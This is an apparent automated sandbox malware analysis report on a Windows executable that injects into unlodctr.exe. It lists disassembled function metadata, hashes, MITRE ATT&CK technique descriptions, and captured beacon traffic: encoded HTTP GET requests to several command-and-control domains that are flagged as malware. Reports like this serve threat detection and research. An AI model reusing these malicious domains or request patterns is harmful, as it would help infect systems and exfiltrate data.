Function 02F9E560 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 02F9E577

Strings

@J7<, xrefs: 02F9E58B

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @J7<
API String ID: 2538663250-2016760708
Opcode ID: 381c7c4cf7e028dc651f59f972c4486311523f005b0c2cdfee3cf03a75625ace
Instruction ID: 62c0db831df6501ca98a663ae5a16eceae01e7fef7f7c21c0b10f072e6c14eac
Opcode Fuzzy Hash: 381c7c4cf7e028dc651f59f972c4486311523f005b0c2cdfee3cf03a75625ace
Instruction Fuzzy Hash: 5C311EB5A1060AAFDB00DFD8C8809EEB7B9BF88344B108559E615EB214D775EE05CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02F93DA0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02F93E12

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7990f290981bd4aee8d21bcb8d2ae64449c1592f8a81b01ec6cffc28f3e0e825
Instruction ID: 15aaa3f9b3b9fa87af858e61182ecb585a05628ee55a55132d91c0bc3aa5fc71
Opcode Fuzzy Hash: 7990f290981bd4aee8d21bcb8d2ae64449c1592f8a81b01ec6cffc28f3e0e825
Instruction Fuzzy Hash: 94011EB5E4020DABEF10EAE4DC51FDEB7B99B44348F004595EA0997240F671EB18CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7D20 Relevance: 1.5, APIs: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,?,?,?,02F97693,00000010,?,?,?,00000044,?,00000010,02F97693,?,?,?), ref: 02FA7D80

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 8c95bb3e9a2c71427cd416f6ab9dd9175de5ee4069eb734d6bbbac84fd1e0475
Instruction ID: 29b01c688c77fc3344822721ddf2e8e327358cf9ce3904a550d5475b0ff97273
Opcode Fuzzy Hash: 8c95bb3e9a2c71427cd416f6ab9dd9175de5ee4069eb734d6bbbac84fd1e0475
Instruction Fuzzy Hash: 4301D2B2210108BFCB04DE89DC91EEB77AEAF8C754F408208BA0DE3241D630F851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F89410 Relevance: 1.5, APIs: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02F89455

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4dbe28e542d886bce4935812934a302f2248b8d0e850ca2cfee9974f9625a2b9
Instruction ID: 9721b9e4041c426b9c9ea2c63ccbad9a76118857b95c1670a629711c9b5cc383
Opcode Fuzzy Hash: 4dbe28e542d886bce4935812934a302f2248b8d0e850ca2cfee9974f9625a2b9
Instruction Fuzzy Hash: 94F065733806043AE32075A9DC02FDBB39D9B807A5F140429F70DDB2C0D991B4414AE4

Uniqueness

Uniqueness Score: -1.00%

Function 02F8940B Relevance: 1.5, APIs: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02F89455

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 1ba7b11d6758b7f56e6409763ac1e991435a3e88970733daeb76d8c36a096158
Instruction ID: f3b1a553e56d90c5958ac2fc7432964ceaf9fc8f52a5240861521e7b8bcc8317
Opcode Fuzzy Hash: 1ba7b11d6758b7f56e6409763ac1e991435a3e88970733daeb76d8c36a096158
Instruction Fuzzy Hash: 70F06DB328060436E23076A5AC42FEBB79D9B85BA5F254018F70DAF2C0D992B5458AE4

Uniqueness

Uniqueness Score: -1.00%

Function 02F93E56 Relevance: 1.5, APIs: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 02F93E12

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 3a83ce97fc718c9532b25e989f220e0430bcf6426bb5c97ae4f83d0116f944d2
Instruction ID: d5bb2c24464b2fe09985dfb17ed9b139edc3c02e1c441b1ed7670281bcbed9bf
Opcode Fuzzy Hash: 3a83ce97fc718c9532b25e989f220e0430bcf6426bb5c97ae4f83d0116f944d2
Instruction Fuzzy Hash: 0BF02739A4914D9FDF14CB94C991FA9F7B89B09288F0041DAE909CB182E130E60DC741

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7C90 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,71D0E850,00000007,00000000,00000004,00000000,02F9367A,000000F4,?,?,?,?,?), ref: 02FA7CCF

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6293b27066e331ff852544905ad868599f5176f767a03a122873d48fca37afb6
Instruction ID: cf64c4ecfdff26b3503883fb09a3e12ce9a05a6636b56bafcaddc08ec6723d57
Opcode Fuzzy Hash: 6293b27066e331ff852544905ad868599f5176f767a03a122873d48fca37afb6
Instruction Fuzzy Hash: 3BE06DB16002047FDA10EE58DC45F9B77ADEFC9750F004419FA08A7241D670B8118AB5

Uniqueness

Uniqueness Score: -1.00%

Function 02FA7C40 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02F90FB9,?,02FA48F1,02F90FB9,02FA3FE7,02FA48F1,?,02F90FB9,02FA3FE7,00001000,?,?,02FA9500), ref: 02FA7C7C

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 51dad04c718ccf0de6597d5ed1fab91676444251115b4773d60bbb8b73750df1
Instruction ID: 620b3419876bdc21f8de59bd9ca4529d914d591cf708d4e4adbe76ed810ace74
Opcode Fuzzy Hash: 51dad04c718ccf0de6597d5ed1fab91676444251115b4773d60bbb8b73750df1
Instruction Fuzzy Hash: 31E06DB12003047BDA14EE58DC41F9B77ADEFC97A0F004109FA08A7241C670B910CAB9

Uniqueness

Uniqueness Score: -1.00%

Function 02F976D0 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,000016A8,?,000004D8,00000000), ref: 02F976FC

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 94121f1c965f68daabc0224cd334563db60d8b54041cc7dacd6e456d837a6eaa
Instruction ID: 676967eac9f0f86a6f3e1b9275eee0649ef6b420a1a571a9f462e4e98d52ffb3
Opcode Fuzzy Hash: 94121f1c965f68daabc0224cd334563db60d8b54041cc7dacd6e456d837a6eaa
Instruction Fuzzy Hash: DFE020B556030C27FF207578DC45F7233485B44B68F284550FA1CCB1C1D6B5F5414950

Uniqueness

Uniqueness Score: -1.00%

Function 02F974E0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,02F912A0,02FA6707,02FA3FE7,?), ref: 02F97513

Memory Dump Source

Source File: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2f80000_unlodctr.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 01d6d8eb4353f8d2a63944d9ea5eca25635474070df9567907d897c4a7cb4ffa
Instruction ID: 09c21841b4daef33afa6b3495a920692dfe211f0a1d9736e0bf5fb0e7e833030
Opcode Fuzzy Hash: 01d6d8eb4353f8d2a63944d9ea5eca25635474070df9567907d897c4a7cb4ffa
Instruction Fuzzy Hash: 2BD05EF16803047BF650F6B4DC06F66328E6B00B98F154468BB0CD72C2EDA5F5114AA5

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.linbreoffice.org/qruc/	Avira URL Cloud: Label: malware
Source: http://www.linbreoffice.org/qruc/?vFLHF=St8dDlnHzrct7&xl=Xmo1lInOanbZEZR5AfqbZqRP40VXQk0TYIBV9i+RFmbCb5D19+w35N1Is2bkZ42QIXmVJTObgj0BeJUqj9w3SBcjawfNBsE/jQutHm2oP9EVAL/0u02x0DQ=	Avira URL Cloud: Label: malware
Source: http://www.klingerlumberltd.com/qruc/?vFLHF=St8dDlnHzrct7&xl=4y8JdVmVqWeea5bbMhnz8aXW/zBNuVIx9gyDCHl5L7QB29ig52mkDYCfyusGnjDf+1nAg1jN2XuDrRbFj9LrVx3K8AcskdL8Q9MgXuVmjPqiRPQTvnH80A0=	Avira URL Cloud: Label: malware

Source: www.linbreoffice.org	Virustotal: Detection: 7%	Perma Link
Source: klingerlumberltd.com	Virustotal: Detection: 11%	Perma Link
Source: http://www.linbreoffice.org/qruc/	Virustotal: Detection: 8%	Perma Link

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 4x nop then mov dword ptr [ebp-1Ch], 00000000h	0_2_0964E770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 4x nop then xor edx, edx	0_2_0964EB38
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 4x nop then xor eax, eax	11_2_02F89470

Source: Joe Sandbox View	IP Address: 64.225.91.73 64.225.91.73
Source: Joe Sandbox View	IP Address: 66.29.135.159 66.29.135.159

Source: Joe Sandbox View	ASN Name: ADVANTAGECOMUS ADVANTAGECOMUS
Source: Joe Sandbox View	ASN Name: UK2NET-ASGB UK2NET-ASGB

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /qruc/?vFLHF=St8dDlnHzrct7&xl=4y8JdVmVqWeea5bbMhnz8aXW/zBNuVIx9gyDCHl5L7QB29ig52mkDYCfyusGnjDf+1nAg1jN2XuDrRbFj9LrVx3K8AcskdL8Q9MgXuVmjPqiRPQTvnH80A0= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usHost: www.klingerlumberltd.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /qruc/?xl=UAq9CzGRql0qbxLJ0VHAxYbE6gcH95yIoC7W/FPBEpHWNGr0R1xACLnBcwEc3ZkTuU45ULwzGu2M7+E0XrmRKTDELq+4Gy/k2I5T6z62BN58jG7ys8mA5gg=&vFLHF=St8dDlnHzrct7 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usHost: www.gattosat.icuConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /qruc/?vFLHF=St8dDlnHzrct7&xl=Xmo1lInOanbZEZR5AfqbZqRP40VXQk0TYIBV9i+RFmbCb5D19+w35N1Is2bkZ42QIXmVJTObgj0BeJUqj9w3SBcjawfNBsE/jQutHm2oP9EVAL/0u02x0DQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usHost: www.linbreoffice.orgConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /qruc/?xl=TKQjCngekOUXb4wYgtIljeQn8ysV0DQxkVDYFHPguHHgtawi326eHXwL5/LbdhSUHl1rH91YHPKtuSAwSH4DrTeIYMFIFWvJ0j7VceHyTVuRqxxukq8+akA=&vFLHF=St8dDlnHzrct7 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usHost: www.quantumboulevard.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /qruc/?vFLHF=St8dDlnHzrct7&xl=ebTrY2reCe2ZTSPQmCOT7uftBIKel9RxJULKIziXTH46LqUEJduuafb87psJAf6uxD5XXi6v1WxfauXtOkGyHWMQjIrD11Zkal8n9/6ZGFCOuXv54YqdQOw= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usHost: www.dntchunkysalsa.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.klingerlumberltd.com
Source: global traffic	DNS traffic detected: DNS query: www.gattosat.icu
Source: global traffic	DNS traffic detected: DNS query: www.linbreoffice.org
Source: global traffic	DNS traffic detected: DNS query: www.quantumboulevard.xyz
Source: global traffic	DNS traffic detected: DNS query: www.dntchunkysalsa.com
Source: global traffic	DNS traffic detected: DNS query: www.electronicraw.com

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UQO06iOMKZMPZ4A.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_UQO06iOMKZMPZ4A._f857fe58ea09b799fdb0ec55b4d30f47170d3_88b9e8b8_b665316b-1a8c-4954-a90d-ffa3e7949e10\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4FB8.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER518E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER51CE.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UQO06iOMKZMPZ4A.exe.log

C:\Users\user\AppData\Local\Temp\17-EIW25

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
UQO06iOMKZMPZ4A.exe

Function 08F32778 Relevance: 11.0, Strings: 8, Instructions: 972
COMMON

Function 09647A20 Relevance: 4.0, Strings: 3, Instructions: 201
COMMON

Function 096482A8 Relevance: 3.9, Strings: 3, Instructions: 155
COMMON

Function 00BC12F7 Relevance: 2.7, Strings: 2, Instructions: 234
COMMON

Function 00BC1398 Relevance: 2.7, Strings: 2, Instructions: 195
COMMON

Function 08F3A4D7 Relevance: 5.1, Strings: 4, Instructions: 98
COMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre